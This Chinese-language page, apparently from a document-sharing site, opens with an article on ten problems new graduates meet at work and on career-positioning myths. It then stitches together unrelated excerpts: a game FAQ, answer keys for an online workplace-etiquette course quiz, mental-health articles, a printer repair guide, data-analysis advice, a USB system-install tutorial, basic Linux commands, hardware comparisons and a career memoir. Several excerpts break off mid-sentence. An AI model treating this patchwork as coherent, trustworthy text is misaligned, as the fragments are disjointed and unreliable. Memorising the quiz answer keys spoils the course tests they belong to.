职场菜鸟常见的难题职场菜鸟会遇到的困难

职场菜鸟常见的难题_职场菜鸟会遇到的困难

*导读：你知道职场菜鸟常见的难题吗？每年都有一大批的大学生投入社会参加工作，社会与学校有着极大的区别，很多人初入职场很不适应。那么究竟职场菜鸟常见的难题有哪些？下面小编为您解答。

求职时大学生雄心勃勃，说要为企业奉献才华，与企业共同成长；入职后大学生热情不再，说职场太复杂，实情跟原先想的根本不同。某机构针对工作年限在3年以内的325位大学生，开展了一项名为快乐工作指数大调查的调研活动，发现有73%的大学生不满意当前的工作，更有81%的大学生表示自己当前工作并不快乐。通过市场调查并结合采访情况，从中归纳出大学生初入职场最头疼的十大问题，也是导致他们无法扎根于企业的原因所在。希望通过这些问题的揭示，能给企业和就业者带来一些启示。

*NO.1薪资太低

一年来我任劳任怨，从早忙到晚，可每个月1800元，交完房租除去吃喝，我连同学聚会都不敢参加。我有个同学一年跳了

三次槽，每跳一回工资都往高了要，现在快多出我一倍了！大家都很是羡慕。学机械设计的阿勇向我们倾诉着他的苦恼。

点评：薪资的高低往往由个人的商业价值而定，跳槽并不是唯一方法，提升自己的能力是关键。

*NO.2工作压力太大

在学校过惯了悠闲读书时光转而进入职场，工作压力大是很多职场新人的共同感受。小张好不容易进了某500企业，3个月不到就离职了，问及原因工作压力太大，每天早上醒来，睁开眼睛，想起做也做不完的工作，觉得痛苦至极。打从上班开始我和男朋友总共才见了两次面，这哪是人干的工作啊！

点评：从学生到职场人的转变是很多大学生入职初必需面对的重要课题。

*NO.3无法胜任工作要求

大学的知识掌握得挺好，但在实际工作当中却发现远远不够用，感觉达不到企业的高要求，这让我很忧心。文秘专业的Rudy 如是说。她去年一毕业就应聘到了某上市集团公司做总经理秘书，前几个月似乎干得还不错，但年末接二连三的总结和工作计划让她这个新人一时间倍感重负，根本喘不了气。

点评：光是担忧不解决问题，当前最紧要的是尽快熟悉和掌握新知，以适应工作需求。

*NO.4缺乏工作兴趣

每天的例行工作既繁琐又呆板，毫无成就和乐趣可言，这样谈什么快乐工作呢？财务专业的Helen刚过试用期就耐不住性

子准备离职：每天的工作除了登录财务系统进行填报，就是去银行存款、取钱，工作十分枯燥。我发现一点也不喜欢做财务的感觉，实在是受不了！

点评：每个人都或多或少的涉及到一些自己不喜欢的事，应该学会发现其中的乐趣。

*NO.5个人发展空间小

学商务英语的梅子告诉我们：老师常说，要降低就业期望值，到基层去，到民企去，到中小型公司去，可是我去的这家外贸公司也忒小了点，算上我一共也就3个人，一个项目做完后至少得闲上半个月才有新活，我觉得在这里几乎没有发展空间可言。

点评：公司好员工才有长远发展，一个岌岌可危的公司很难让员工有安全感。

*NO.6找不到发展方向

学人力资源的Mary在校园招聘会上拿到了知名金融公司的人力资源助理一职，入司后才知道虽身处HR岗，但干的工作却与HR没有太大关系，老大安排她管理公司档案和印章，收发报纸和文件，有时还要兼顾会务协调，概括起来就是在打杂，半年多过去了，她对自己的职业发展感到十分迷茫。

点评：当理想与现实有差距时，不妨主动找老板说出内心想法，及时申请调整。

*NO.7职场人际关系复杂

在广告公司工作近一年的Lily说，自己从入司到现在，每天在职场都小心谨慎，几乎很少跟同事说话。因为在她刚进公司时，同事Jane因为私下议论老板好象对某个女模特有意思，第二天便被炒了鱿鱼，从那以后她觉得办公室总有老板的耳目，人际关系骤然复杂。

点评：职场中人际关系问题向来是令大家头疼的问题，向杜

拉拉好好学习吧。

*NO.8企业文化无法融合

我最受不了的是公司弄得跟国企似的，太拘于形式化。每天开晨会，周一开例会，周二学企业文化，周三内部培训，周四头脑风暴，周五项目讨论，动不动要交学习心得和体会，又是司庆又是纪念活动，还得应付领导来视察工作，务实的事干得太少，让人很难干下去！证券公司职员Peter这样感慨。

点评：入职前没有深入了解企业文化，就很难融入其中，忍无可忍之时往往只能重新求职。

*NO.9知识有限进步较小

从事幼儿教育培训的Grace表示：我在这家公司一年半了，原本是想通过这份工作来积累一定经验，为今后自己开亲子教育

工作室做准备，但是来了一段时间后发现，学到的知识十分有限，没有达到我先前的规划预期。

点评：职业生涯发展初期，对自己锻炼最大、能学到最多知识的工作称为好工作。

*NO.10经常加班健康透支

Davis在担任课程顾问的2年中从最初的喜欢到现在的放弃：我最初是很喜欢这份工作的，因为可以将适合的课程推荐给有需要的客户，感觉是在帮助他人，也十分有成就感，但是因为每月有业绩压力，导致经常加班，一天工作14个小时，根本没有休

息时间，严重影响了我的身体健康，坚持不下去了！

点评：职场中加班是常事，但这种严重超标的高负荷加班势必影响员工健康。

职场之路坎坷曲折，做为新人更要能经得起考验，受得了委屈，扛得住辛苦。生涯提醒，大学生入职后遇到各种各样的问题总是难免的，为自己做好准备的职业定位，很多职场问题便会迎刃而解了。

*职场定位误区

1、误区一、定位会使自己变得僵化。其实定位不是静态的，而是动态的事情，当自我发生重大变化，当外部环境发生重大变化的时候，都需要重新定位；

2、误区二、定位很多想要的会得不到。我们要的很多，要做技术还要做管理，要有挑战还要休闲，人们担心定位会让自己受到限制。其实定位并不是确定一个固定的位置，而是确定和目标的距离，你可以确定多种目标，只是你要知道自己距离各种目标的远近程度，要知道达到目标需要怎样的努力。

3、误区三、定位让自己失去机会。这个误区尤其体现在毕业生身上，如学生经常到处投放简历，甚至发给谁了都不知道，学生会取得很多的证书，认为这样得到的机会更多；其实，这样的漫天撒网更可能耗费你的时间和精力，而没有获得实质性的机会。

4、误区四、定位，应该让旁观者来做，自己定位不准确。其实，真正知道自己想要什么、喜欢什么、习惯做什么的是自己，领导、同事、朋友、家长都只能提供参考意见，并不能真实地了解你的心，所以在定位这个问题上，首先要自己了解自己，可以借助别人的帮助。

神戒菜鸟入门攻略详细攻略

神戒菜鸟入门攻略详细攻略神戒菜鸟入门攻略详细攻略 Q:如何将道具展示到聊天栏中？ A:键盘“shift”+鼠标左键点击需要展示的道具后，点击键盘“回车键”即可。 Q:如何拾取道具？ A:打败怪物后，点击键盘键“空格键”即可自动拾取怪物掉落在地上的道具。 Q:如何关闭游戏音乐/音效？ A:点击游戏界面点击的“设置”按钮，进入系统设置后，选择游戏音乐/音效百分比到0%即可。 Q:如何释放技能？ A:点击界面下方的技能界面（快捷键“V”），进入技能列表后，左键单击选择技能，查看技能当前等级和熟练度。满足升级条件时点击“学习”按钮学习技能，同时鼠标左键点击将所需技能拖入快捷栏中，选中需攻击的怪物使用快捷键即可。 Q:如何攻击怪物？ A:鼠标左键点击需要攻击的怪物，或者使用键盘键“~”可选中怪物，释放技能即可。打怪时，系统自动使用默认技能（键盘键“1”），可把需要的技能拖入“默认技能”中。 Q：如何扩充背包？ A：可在界面右上方中的“商场”中的“便捷”处购买背包扩充，每个扩充包可增加6个包裹空格。点击背包中未扩充格子上的黄色加号进行扩充。 Q:如何扩充仓库？ A:可在界面中间下方的“商场”中的“便捷”处购买仓库扩充，每个扩充包可增加8个仓库空格。点击仓库中未扩充格子上的黄色加号进行扩充。 Q:如何创建军团？ A:玩家等级达到15级，消耗1000金后，输入军团名称，即可创建军团。 Q:如何加入军团？ A:点击界面右下方军团界面（快捷键“G”），进入军团列表后，选中想要加入的军团，点击“加入军团”输入介绍，即可自动加入军团。 Q:如何获得能量？ A：在界面中点击祈福后，进入祈福状态，即可获得能量及经验。祈福时间越长能量和经验获得越多。在可祈福区域内停留30秒后自动进入祈福状态。

《职场菜鸟礼仪指南》见面课及答案

《职场菜鸟礼仪指南》见面课及答案见面课：Hello “歪果仁” 1、在中国的传统文化中，筷子的“圆头”和“方头”各代表什么？（） A.圆头代表地和方头代表天 B.圆头代表天和方头代表地 C.圆头代表阴极和方头代表阳极 D.圆头代表阳极和方头代表阴极正确答案：圆头代表天和方头代表地 2、中西不同的饮食理念体现了不同的价值观，中国的“泛食主义”体现了怎样的价值观？（） A.个人主义 B.英雄主义 C.实用主义 D.集体主义

正确答案：集体主义 3、德国国旗是由（）三种颜色组成。 A.黑、红、黄 B.黑、红、金 C.蓝、红、黄 D.蓝、红、金正确答案：黑、红、金 4、关于德国教育，以下哪个说法是错误的？（） A.德国小学是4年制 B.德国中学分为初中和高中 C.应用技术大学的数量多于综合性大学 D.海德堡大学是德国最古老的大学正确答案：德国中学分为初中和高中 5、以下哪个节日属于德国的民间节日？（） A.圣诞节

B.国庆节 C.啤酒节 D.复活节正确答案：啤酒节见面课：“哈哈=滚？”新时代社交礼仪 1、（）是人们交往过程中最为常见、使用范围十分广泛的见面礼，是一个使用最频繁的传达情意的形式。 A.握手 B.拥抱 C.跪拜 D.亲吻正确答案：握手 2、外交商务拥抱礼仪右臂和左臂的位置分别是（）。 A.偏下，偏上 B.偏上，偏下 C.平行

D.都可以正确答案：偏上，偏下 3、社交距离，其距离为大于0.5米，小于1.5米。它适合于一般性的交际应酬，故亦称（）。 A.有距离的距离” B.“敬人距离” C.“亲密距离” D.“常规距离” 正确答案：“常规距离” 4、你是一个职场小白，在一次聚会上，认识了一位同行精英，你们互相交换了名片。两个月后，你刚好遇到一个工作上的困惑，想咨询这位同行精英。以下沟通联络方式，你认为最恰当的是？（） A.微信或短信 B.电话 C.邮件 D.当面请教

大学生常见的心理问题及解决方案(20200504104211)

大学生常见的心理问题及解决方案一、大学生常见的心理问题 1、环境适应问题。在大一新生中较为常见。 2、学习问题。大学生常见的学习问题主要表现为：学习目的问题、学习动力问题、学习方法问题、学习态度问题，以及学习成绩差等等。大学期间，学习往往不再如高中阶段那样得到绝大多数人的重视，目的不明确、动力不足、态度不好构成了学习问题的主要方面。 3、人际关系问题。如何与周围的同学友好相处，建立和谐的人际关系，是大学生面临的一个重要课题。同高中阶段相比，大学生对人际关系问题的关注程度超过了学习，也成为大学生心理困扰的主要来源之一。人际关系问题常常表现为难以和别人愉快相处，没有知心朋友，缺乏必要的交往技巧，过分委曲求全等，以及由此而引起的孤单、苦闷、缺少支持和关爱等痛苦感受。 4、恋爱与性心理问题。大学生处于青年中后期，性发育成熟是重要特征，恋爱与性问题是不可避免的。一般包括：单相思、恋爱受挫、恋爱与学业关系问题、情感破裂的报复心理等，而性心理问题常见的有：手淫困扰，以及由婚前性行为、校园同居等问题引起的恐惧、焦虑、担忧等 5、性格与情绪问题。性格障碍是大学生中较为严重的心理障碍，其形成与成长经历有关，原因较为复杂，主要表现为自卑、怯懦、依赖、神经质、偏激、敌对、孤僻、抑郁等。 6、求职与择业问题，是高年级大学生常见问题。在跨入社会时，他们往往感到很多的困惑和担忧。如何选择自己的职业，如何规划自己的生涯，求职需要些什么样的技巧等等问题，都会或多或少带来困扰和忧虑。 7、神经症问题。长期的睡眠困难、焦虑、抑郁、强迫、疑病、恐怖等都是神经症的临床表现症状第七种问题是偏离正常状态的心理问题，需要进行专业的心理咨询或心理治疗。而对于大部分同学来说，常常遭遇到的是前六种心理困扰，这些困扰主要是由很多现实的社会心理因素所导致，也往往是暂时性的，经过自己的主动调节或寻求咨询老师的帮助，多能恢复心理的平衡和适应。二、如何面对自身的“心理问题” 随着心理健康教育的普及，人们对心理健康的认识已逐渐加深，但大学生们在对待他人的心理困惑的态度上比对待自己的更为理性，一旦涉及自己则表现得优柔寡断，觉得难以启齿，常常不知所措。要改善这一心态，建议： 1、坦然面对。心理健康也跟身体健康一样，在人的一生中难免会出现这样那样的问题，出

菜鸟必看针式打印机故障维修手册

菜鸟必看针式打印机故障维修手册 2009/2/12/09:59 来源：IT168 [慧聪办公用品网]针式打印机在很多行业里面是使用非常广泛的办公设备，因为机器的一些特殊属性，所以没有其他的机器能取而代之，在最近一段时间，针式打印机故障咨询的网友也不少，很多问题都是一些非常细小的问题，自行都可以进行故障处理，针对这样的情况，笔者整理了针式打印机各方面的问题，有基础篇，也有故障篇，也有相对比较”高深”的换针篇,需要说明的是，从菜鸟到高手都是从理论到实践操作，希望明日你就能成为这方面的高手。记得以前有一个用户的针式打印机出现问题了，他那边是财务部，平时更换色带她可以轻松的完成，这次机器出现故障了，他描叙的是我刚刚更换完色带就出现打印出来的字体非常浅，不知道为什么，以前也是这么更换的但是没有出现问题，通过电话的询问，问题基本上判断出来了，应该是他在更换色带的时候把旁边的纸张厚度调节器调到最高了，他打印测试的是单张纸，但是他调节的联数是7张纸的厚度，所以打印出来就非常淡了，通过这么解释，然后用户终于明白了，然后问那个调节杆在哪，后面告知才算是解决问题了。其实刚刚这个用户是一个典型的使用问题，对机器不了解，所以造成这样的问题，可以说这个问题根本就不是一个问题，用户只需要多了解一下机器的功能就能轻松的应对了，所以说学一点使用技巧能对用户是很有帮助的，先不多说了，看看下面专家整理的一些案例与使用技巧吧。由浅入深学针式打印机维修俗话说“最好的学习方式就是从失败中总结获取”。也许没有什么灵丹妙药能够让您快速成为针打的维修工程师，但是熟悉并了解一些故障的处理，必能让您快速进阶于针打的维修。既然如此，笔者就将针打中常见的故障做如下总结，为您快速进阶到专业维修专业人员提供必要的参考。由于故障处理将以爱普生为例，因此首先介绍的出厂设置恢复： LQ-1600KⅢ机如何恢复出厂设置： 1，按住“字体”+“切纸/纸槽”键开机，打印机发出一声长鸣后松开，打印机恢复到“宋体”，“低速”状态。

【EXCEL】数据分析那些事(菜鸟入门必看)

Q1：我现在的工作有一点数据分析的模块，自从上微薄后了解到还有专门从事数据分析工作，我现在想做这一行，但是经验、能力都还是菜鸟中的菜鸟，请问成为一名数据分析师还有需要哪些准备？ A：很简单，我们可以看一下国内知名互联网数据分析师的招聘要求，进行自我对照，即可知道需要做哪些准备。数据分析师职位要求： 1、计算机、统计学、数学等相关专业本科及以上学历； 2、具有深厚的统计学、数据挖掘知识，熟悉数据仓库和数据挖掘的相关技术，能够熟练地使用SQL； 3、三年以上具有海量数据挖掘、分析相关项目实施的工作经验，参与过较完整的数据采集、整理、分析和建模工作； 4、对商业和业务逻辑敏感，熟悉传统行业数据挖掘背景、了解市场特点及用户需求，有互联网相关行业背景，有网站用户行为研究和文本挖掘经验尤佳； 5、具备良好的逻辑分析能力、组织沟通能力和团队精神； 6、富有创新精神，充满激情，乐于接受挑战。 Q2：对数据分析有浓厚兴趣，希望从事数据分析、市场研究相关工作，但听说对学历要求较高，请问我是否要读研，读研的话应该读哪个方向？ A：读研要看自身情况，但可明确：专业不是问题，本科学历就够。关键是兴趣与能力，以及自身的努力，兴趣是学习成长最好的老师！当然如果是在校生考上研究生的话那是最好，如果考不上可以先工作，等你工作有经验了，你就知道哪方面的知识是自己需要，要考哪方面的研究生，也就更有方向性。 Q3：那么如何培养对数据分析的兴趣呢？ A：建议如下： 1、先了解数据分析是神马？ 2、了解数据分析有何用？可解决什么问题？ 3、可以看看啤酒与尿布等成功数据分析案例； 4、关注数据分析牛人微博，听牛人谈数据分析（参考Q1的三个链接）； 5、多思考，亲自动手分析实践，体验查找、解决问题的成就感； 6、用好搜索引擎等工具，有问题就搜索，你会有惊喜发现； 7、可以看看@李开复老师写的《培养兴趣：开拓视野，立定志向》；有网友说：让数据分析变的有趣的方法是，把自己想象成福尔摩斯，数据背后一定是真相！Q4：我有点迷茫，是练好技能再找工作，还是找一个数据分析助理之类的要求不是特别高的工作，在工作中提升？ A：建议在工作中进行学习实践，这才是最好的提升。看那么多书，没有实践都是虚的。 Q5：我是做电商的，对于数据分析这块，您有什么好的软件工具类推荐吗？ A：做数据分析首先是熟悉业务及行业知识，其次是分析思路清晰，再次才是方法与工具，切勿为了方法而方法，为工具而工具！不论是EXCEL、SPSS还是SAS，只要能解决问题的工具就是好工具。问题的高效解决开始于将待解决问题的结构化，然后进行系统的假设和验证。分析框架可以帮助我们：1、以完整的逻辑形式结构化问题；2、把问题分解成相关联的部分并显示它们之间的关系；3、理顺思路、系统描述情形/业务；4、然后洞察什么是造成我们正在解决的问题的原因。

菜鸟级U装系统详细图解教程

因为太多软件导致系统运行缓慢或经常出现死机,蓝屏,或系统本身不稳定等等，而拿去外面店让人修或重装又费力且费时。有没有更好的方法？有，本教程就是讲解如何使用Ｕ盘安装重装系统。一经学会，真是自（重）装，帮（他人）装，省钱省力，把妹泡妞的必备良器呀~ 本教程通俗易懂，图文并茂非常适合初学者。问：什么是Ｕ盘重装系统？答：U盘重装系统即使用U盘做引导，给电脑安装操作系统。要想让Ｕ盘拥有引导功能，那就得制作含ＰＥ的Ｕ盘方可。下面会详细地说明如何制作。问：什么时候要使用到Ｕ盘重装系统？答：当系统文件/程序丢失或更改而导致开机不能进入桌面时，便须使用Ｕ盘重装系统！若开机还能进入桌面，可使用更简单的重装方法来实现重装系统――《不懂电脑怎么重装系统之菜鸟也疯狂》第一章 https://www.360docs.net/doc/b92435002.html,/share/home?uk=3272513716#category/type=0 问：那如何使用Ｕ盘重装系统呢？答：本教程讲的便是如何制作含ＰＥ的Ｕ盘及如何重装WIN7等操作系统。本教程通俗易懂，图文并茂，一直深受广大菜鸟及小

白的喜爱。（另外移动硬盘、SD卡与Ｕ盘装系统的做法大体相同，本文仅以U盘为例。有兴趣的朋友可以参照本方法来实现移动硬盘或ＳＤ卡装系统。）重装系统所须工具/原料 l U盘大小的选择：一般WIN7系统大小为3~4G，推荐U盘选择4G的。可把WIN7系统文件放于U盘，方便携带。 l U盘PE制作文件（大小仅为100M，麻雀虽小但五脏俱全－重装与检修工具一应俱全） l 臻致WIN7系统（将WIN7系统臻致完美为目标） “WIN7系统”与“U盘PE制作文件”下载地址： https://www.360docs.net/doc/b92435002.html,/share/home?uk=3272513716#category/type=0 步骤/方法

智慧树知到《职场菜鸟礼仪指南》章节测试答案

智慧树知到《职场菜鸟礼仪指南》章节测试答案第一章 1、礼仪的根本是什么？（） A:形象 B:交流 C:尊重 D:自信正确答案：尊重 2、“不学礼，无以立”是谁说的？（） A:老子 B:孔子 C:墨子 D:庄子正确答案：孔子 3、讲礼仪的作用是（）。 A:内强素质、外塑形象、增进交往 B:加强素质、外塑形象、增进交往 C:内强素质、外塑形象、增强友谊 D:加强素质、外塑形象、增强友谊正确答案：内强素质、外塑形象、增进交往 4、国际社会公认的“第一礼俗”是（）。 A:女士优先

B:尊重原则 C:宽容原则 D:平等原则正确答案：女士优先 5、礼仪的含义指的是？（） A:礼节 B:礼貌 C:仪式 D:仪表正确答案：礼节,礼貌,仪式,仪表第二章 1、以下正确的基础皮肤护理流程为（）。 A:洁面、精华、水、面霜、防嗮 B:洁面、水、精华、面霜、防嗮 C:洁面、水、面霜、精华、防嗮 D:洁面、水、面霜、防嗮、精华正确答案：洁面、水、精华、面霜、防嗮 2、化妆品的选择要适合自己，眉笔可根据以下哪种颜色进行选择？（）A:衣服的颜色 B:自身的肤色 C:头发的颜色 D:眼睛的颜色

正确答案：头发的颜色 3、在正式的商务场合，女性不能留披肩发，其头发最长不应长于？（） A:耳部 B:颈部 C:腰部 D:肩部正确答案：颈部 4、在正式场合，女士不化妆会被认为是不礼貌的，要是活动时间长了，应适当补妆，但要在（）补妆。 A:办公室 B:洗手间 C:公共场所 D:会议室正确答案：洗手间 5、职业着装的基本原则中，除了TPOR原则还有？（） A:干净整洁原则 B:“讲究”原则 C:协调原则 D:时尚美观原则正确答案：干净整洁原则,“讲究”原则,协调原则 6、符合女士西装套裙着装规范的有？（） A:大小适度，穿着到位 B:搭配适当，装饰协调

青少年常见心理问题及对策

当前青少年学生心理健康存在的问题及对策板溪中学：陈晓鹏我国正处于社会转型时期，社会变革必然冲击家庭、学校和社会的方方面面，而种种社会矛盾、人际关系的矛盾、成人社会的诸多心理冲突等，必然突出地从青少年的心理状态中反映出来。稚嫩的心灵承受着几代人给予的压力，社会变革中的断层和种种羁绊，束缚着孩子们的心灵和手脚，这一切不能不让人为之担忧。然而，只要我们及早加以重视和预防，现在开始努力也不迟，重要的是为父母、为师长者要切实了解我们的孩子，帮助他们走出心灵的“迷津”。有专家预测：21世纪心理疾病将严重危机青少年的身心健康。世界卫生组织近年来对许多国家的调查研究证明，在全世界的人口中，每时每刻都有1/3左右的人有这样或那样的心理问题。在我国，最新一次全国4~16少年儿童心理健康调查发现，我国儿童的心理和行为问题的发生率高达百分之13.9。有关部门还对中、小学生做了一次抽样调查，结果发现，中学生中有2/5左右的孩子有不同程度的心理障碍。这些数字表明，青少年成长过程中出现的心理疾病较成人更为严重。一、健康标准：世界卫生组织给健康下的定义：“健康是指生理、心理及社会适应三个方面全部良好的一种状况,而不仅仅是指没有生病或者体质健”从世界卫生组织对健康的定义中可以看出，与我们传统的理解壮。．有明显区别的是：它包含了三个基本要素：（1）躯体健康；（2）身体

健康；（3）具有社会适应能力。具有社会适应能力是国际上公认的心理健康首要标准。二、我国青少年的心理健康状况：中国儿童中心发布一份题为《中国儿童的生存与发展:数据与分析》的报告显示:中国17岁以下的少年儿童中,至少有3000万人受到各种情绪障碍和行为问题的困扰。5.2%的儿童存在明显的躯体化、强迫症状、人际关系敏感、抑郁等心理健康问题。《中国心理卫生》杂志一篇文章称:国内有77.9%的中小学生心理存在轻度不良反应。中国疾病预防控制中心2005年对9015名中小学生(主要年龄为10-14岁)进行了一次调查,发现17.4%的孩子“认真想过自杀”,8.2%的孩子甚至“做过自杀计划”。哈尔滨医科大学2007年对城乡中小学生的调查则发现,城市儿童抑郁检出率为19.23%,而农村的则高达32.5%。 2001年天津社科院“青少年心理障碍实证与教育对策研究”课题组对天津市2000名中学生的心理健康状况调查，结果显示有心理问题的学生占35.31%，心理问题严重的学生占6.72%。 2003年对西部五个省市20个地区的中学生做过调查，发现有77.9%的中学生存在各种轻度的不良反应，有5.2%的中学生存在着各种明显的心理障碍。上海市精神卫生中心的调查发现,27%的中学生存在心理障碍或患有心理疾病。．著名心理学家郑日昌等对全国几个大城市在校学生的调查结果表明,

如何处理职场上的心理健康问题

如何处理职场上的心理健康问题《如何处理职场上的心理健康问题》是一篇好的范文，好的范文应该跟大家分享，希望大家能有所收获。职场中总是有各种各样的压力，压力过大时会导致各种心理问题的出现，所以要怎么处理职场上的心理问题呢?今天小编分享的是处理职场上心理健康问题的方法，希望能帮到大家。处理职场上心理健康问题的方法、保证充足的睡眠，不要冒犯自然规律，否则必遭自然法则的报复。、放慢一下工作速度。如果你被紧张的工作压得喘不过气来，最好立即把工作放一下，放慢一下，轻松休息一下，可能你做得更好。、处理好事业与家庭的关系。家庭的和睦与事业的成功绝非水火不容，它们的关系是互动的，家和万事兴，无力齐家，恐怕也无力平天下。、面对压力要有心理准备，要充分认识到现代社会的高效率必然带来高竞争性和高挑战性，对于由此产生的某些负面影响要有足够心理准备，免得临时惊慌失措，加重压力。同时心态要保持正常、乐观豁达，不为逆境心事重重。、合理地安排作息时间，严格执行自己制定的作息制度，使生活、学习、工作都能规律地进行。、注意培养良好的心态，加强心理修养，养成自己作心理分析的

习惯。可以考虑与心理医生交朋友，以期经常得到他们的帮助。、要培养自己有一个宽广豁达的胸怀，与人为善，大事清楚小事糊涂。郑板桥一句难得糊涂传诵至今，就是因为其中道出了人生至理。、丰富个人业余生活，发展个人爱好，生活情趣往往让人心情舒畅，个人简历绘画、书法、下棋、运动、娱乐等能给人增添许多生活乐趣，调节生活节奏，从单调紧张的氛围中摆脱出来，走向欢快和轻松。职场心理健康的标准判断一个人的心理是否健康，是看他或她与大多数人、特别是与同龄人、同性别的人是否一致。心理健康的标准包括：()智力正常智力正常是一个人生活、学习和工作的基本条件。在心理咨询中，绝大多数咨询者这一条都具备。通过说话、察言观色便很容易确定咨询者智力是否正常。一般不需要进行心理测验。 ()情绪稳定乐观情绪稳定乐观是心理健康的主要标志，与这一条相对立的是喜怒无常。这并不是说心理健康的人没有情绪低落的时候，而是说他们的积极情绪多于消极情绪，而且他们的喜怒哀乐等情绪处于相对平衡的状态。

经典：Linux菜鸟入门级命令大全

经典：Linux菜鸟入门级命令大全发布时间：2005.08.16 11:51 来源：https://www.360docs.net/doc/b92435002.html, 作者：Linux论坛 1. man 对你熟悉或不熟悉的命令提供帮助解释 eg:man ls 就可以查看ls相关的用法注：按q键或者ctrl+c退出，在linux下可以使用ctrl+c终止当前程序运行。 2. ls 查看目录或者文件的属*，列举出任一目录下面的文件 eg: ls /usr/man ls -l a.d表示目录(directory)，如果是一个"-"表示是文件，如果是l则表示是一个连接文件(link) b.表示文件或者目录许可权限.分别用可读(r)，可写(w)，可运行(x)。 3. cp 拷贝文件 eg: cp filename1 filename2 //把filename1拷贝成filename2 cp 1.c netseek/2.c //将1.c拷到netseek目录下命名为2.c 4. rm 删除文件和目录 eg: rm 1.c //将1.c这个文件删除 5. mv 移走目录或者改文件名 eg: mv filename1 filename2 //将filename1 改名为filename2 mv qib.tgz ../qib.tgz //移到上一级目录 6. cd 改变当前目录 pwd 查看当前所在目录完整路径 eg: pwd //查看当前所在目录路径 cd netseek //进入netseek这个目录 cd //退出当前目录 7. cat，more命令将某个文件的内容显示出来。两个命令所不同的是:cat把文件内容一直打印出来，而 more则分屏显示 eg; cat>1.c //就可以把代码粘帖到1.c文件里，按ctrl+d 保存代码。 cat 1.c 或more 1.c //都可以查看里面的内容。 gcc -o 1 1.c //将1.c编译成.exe文件，我们可以用此命编译出代码。 8.chmod 命令权限修改用法：chmod 一位8进制数 filename。 eg: chmod u+x filenmame //只想给自己运行，别人只能读 //u表示文件主人， g 表示文件文件所在组。 o 表示其他人 ;r 表可读，w 表可写，x 表可以运行 chmod g+x filename //同组的人来执行 9. clear，date命令 clear:清屏，相当与DOS下的cls;date:显示当前时间。 10. mount 加载一个硬件设备用法:mount [参数] 要加载的设备载入点 eg: mount /dev/cdrom cd /mnt/cdrom //进入光盘目录

菜鸟必看的笔记本与台式机硬件区别

菜鸟必看的笔记本与台式机硬件区别很多朋友现在都流行选购笔记本，但发现不少朋友对于笔记本与台式机存在一定的误解，很多朋友以为相同配置的笔记本与台式电脑性能相当其实这是错误的，下面我们一一为大家介绍。 ⒈）处理器方面我们知道目前不管是笔记本还是台式电脑处理器均有酷睿i3、i5、i7系列处理器，虽然i7均属于高端，但如果拿台式电脑酷睿i3处理器与笔记本酷睿i3处理器进行参数性能对比的话，你会发现其实两者完全不在同一档期，台式电脑的同级别产品性能完全在笔记本性能之上，并且差距很大。就以目前依然主流的SNB平台为例，桌面级产品采用了LGA 1155插槽，而笔记本端则采用了FCBGA1023或PPGA988插槽，这三者之间完全无法兼容。而且在本本处理器的封装模式上也分为rPGA988B和BGA1023，台式电脑可以升级更换处理器，而笔记本处理器则直接焊接在主板上，升级很困难。笔记本CPU体积小焊接与主板上不便升级编辑点评：笔记本处理器由于受体积与功耗限制，不管在性能还是在升级方面都无法与台式电脑处理器相比，性能至少落后一代，比如笔记本酷睿i5处理器其性能其实还比不上台式电脑的酷睿i3处理器，虽然在一般应用上用户感觉不到差距，但对于运行大应用于程序用户能感觉到的差距就很大。 ⒉）显卡方面显卡方面与处理方面类似，台式电脑显卡采用了标准PCI-E接口，配备专用散热风扇，体积更大。而大多数的主流游戏本的显卡都是直接焊在了主板上，无法升级，而一些定位高

端的游戏本，比如Alienware M17x，则采用了MXM接口显卡，只有采用这种显卡的笔记本才可以进行更换升级。性能方面笔记本独立显卡依旧与台式电脑显卡不处于同一档次，目前多数主流笔记本的独立显卡性能其实仅相当于台式电脑入门独立显卡的性能，高端笔记本独立显卡相对较主流的独立显卡性能。笔记本显卡有兴趣的朋友不妨参考显卡参数了解性能：怎么看电脑显卡如何看显卡性能如何 ⒊）内存方面目前台式电脑与笔记本电脑内存到时相差不大，不容内存容量方面目前多数笔记本依然还是采用2GB DDR3内存，而台式电脑一般都达到了4GB以上。同样的台式电脑内存与笔记本内存是不兼容的，从外观上我们也可以看出接口不一致。台式电脑内存与笔记本内存对比

曾经,我们走过的一些职场弯路

曾经，我们走过的一些职场弯路在我的职业生涯中，走了很多弯路，今天写出来，希望给职场菜鸟一些经验，少走弯路，早日成就职业梦想。我2001年中专毕业，专业机械制造，很多同学在学校时被招到了深圳，昆山的一些工厂上班，而我当初却没有被选上。毕业后一心想做销售，那时想销售挣钱多，而且时间灵活，卖过电话、药品、报纸、空调、牛奶，每天跑小区，街面上的商店、给人送货，各种模式都尝试过，各种人也经历过，吃过很多亏，每天很辛苦，但收入甚微，有时交了房租，就不剩多少饭钱了。我是一个不会玩花样，又不会奉承，也不很会维护关系的一个人，再加上自己不想再拿家里一分钱，当然也没有闲钱投资自己，所以窘迫的日子一直持续着，因为做的不好，挣的钱也仅仅只能勉强生活而已，所以频繁换工作，换一次便是一个新的开始，有时因为没干够时间，连工资都拿不到。所以当同学拉我去深圳时，我毫不犹豫的怀揣着借来的400块钱跟她一起去了深圳，想在遍地是黄金的地方找到自己的立足之地。想象中的深圳与实际看到的一点都不一样，理想中想

找一个办公室文员之类的工作，而实际这类工作都有学历与经验要求，而对于中专毕业的我，很难找到这样的工作，迫于生活，只好先进了东莞一个运动器材厂做流水线品检，每天站立超过12小时，脚水肿，还上夜班，眼睛经常是水肿状态，但包吃住，每天有加班费，一个月能拿1000块左右工资。在运动器材厂，我干了三个月，因为这不是我想要的工作，离开后千辛万苦找到了一份业务跟单的工作，那是一个很小的做自行车商标的厂，只有200多人，在深圳关外的公明镇。在那里虽然是小小跟单，但总算用上了电脑、办公自动化软件得以应用，还学习了工厂的运作基本流程，知道了ISO9001是什么，算是与自己心目中的工作近了一步。但厂太小了，学到的东西很有限，所以在一年后，我选择再次换工作，便是现在的科技公司，这个公司管理严格，分工细致，标准化流程，每年有培训与晋升的机会，还有就是稳定，离家还近，不用背景离乡。公司很注重文凭，每年都会从学校招本科与大专应届毕业生，给予储备干部待遇，而我只有中专文凭，过往的一点经验只能让我不进流水线，而是从仓管开始做起。在这个公司一干就是13年，从仓管干起，一年后学物控（MC），物控干了一年，转换做生管（PC），有机会负责了一个单位的供应链，开始从事供应链管理工作，学习怎样

GMAT报名菜鸟级详细过程

